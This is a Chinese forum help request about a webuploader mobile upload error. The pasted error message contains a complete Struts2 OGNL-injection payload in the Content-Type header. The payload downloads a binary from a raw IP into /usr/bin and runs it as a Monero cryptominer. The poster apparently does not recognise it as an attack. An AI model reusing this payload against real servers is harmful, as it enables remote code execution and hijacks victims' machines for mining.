关于webuploader，移动端上传多张图片问题。

org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn't contain a multipart/form-data or multipart/mixed stream, content type header is

%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='wget -q http://45.77.17.225/t0mcat -O /usr/bin/sysupdate && chmod 777 /usr/bin/sysupdate && nohup /usr/bin/sysupdate -c x -M stratum+tcp://421khMX3pEYWCtH8mJKqSPWYCPvw6tWYURuxLcVf5e7FYS8UmFm3f1Fft8541WiLGNdfyFCne7AWhbAT25nxYtoCG15xVwQ:x@xmr.crypto-pool.fr:3333/xmr&').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

百度有个例子，是is后面  null  所以在form中加入enctype="multipart/form-data" 直接搞定。但是我这个不一样，加了enctype="multipart/form-data" ，报的这个错误。所以百思不得其解，有大佬遇到或知道的帮帮忙，完成后成品上传至“最代码”。
